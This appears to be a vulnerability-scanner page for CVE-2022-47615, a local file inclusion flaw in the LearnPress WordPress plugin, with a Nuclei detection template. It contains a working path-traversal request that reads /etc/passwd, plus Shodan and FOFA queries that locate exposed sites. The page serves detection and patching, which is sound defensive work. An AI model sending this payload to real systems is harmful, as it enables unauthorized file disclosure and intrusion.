LearnPress Plugin < 4.2.0 - Local File Inclusion

criticalseverity

9.8CVSS score

5.2%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Local File Inclusion vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, remote code execution, or information disclosure.

Fix

Upgrade to the latest version of LearnPress Plugin (4.2.0 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html
Positive when: matches /root:.*:0:0:/ AND contains "\"status\":" and "\"pagination\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-47615 -u <target>

The full check

id: CVE-2022-47615

info:
  name: LearnPress Plugin < 4.2.0 - Local File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: |
    Local File Inclusion vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, remote code execution, or information disclosure.
  remediation: |
    Upgrade to the latest version of LearnPress Plugin (4.2.0 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2022-47615/tree/main
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47615
    - https://patchstack.com/database/vulnerability/learnpress/wordpress-learnpress-plugin-4-1-7-3-2-local-file-inclusion?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2022-47615
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47615
    cwe-id: CWE-434
    epss-score: 0.05159
    epss-percentile: 0.92501
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: "/wp-content/plugins/learnpress"
  tags: cve,cve2022,wp-plugin,wp,wordpress,learnpress,lfi,thimpress,vkev,vuln

http:
  - raw:
      - |
        GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - '"status":'
          - '"pagination":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

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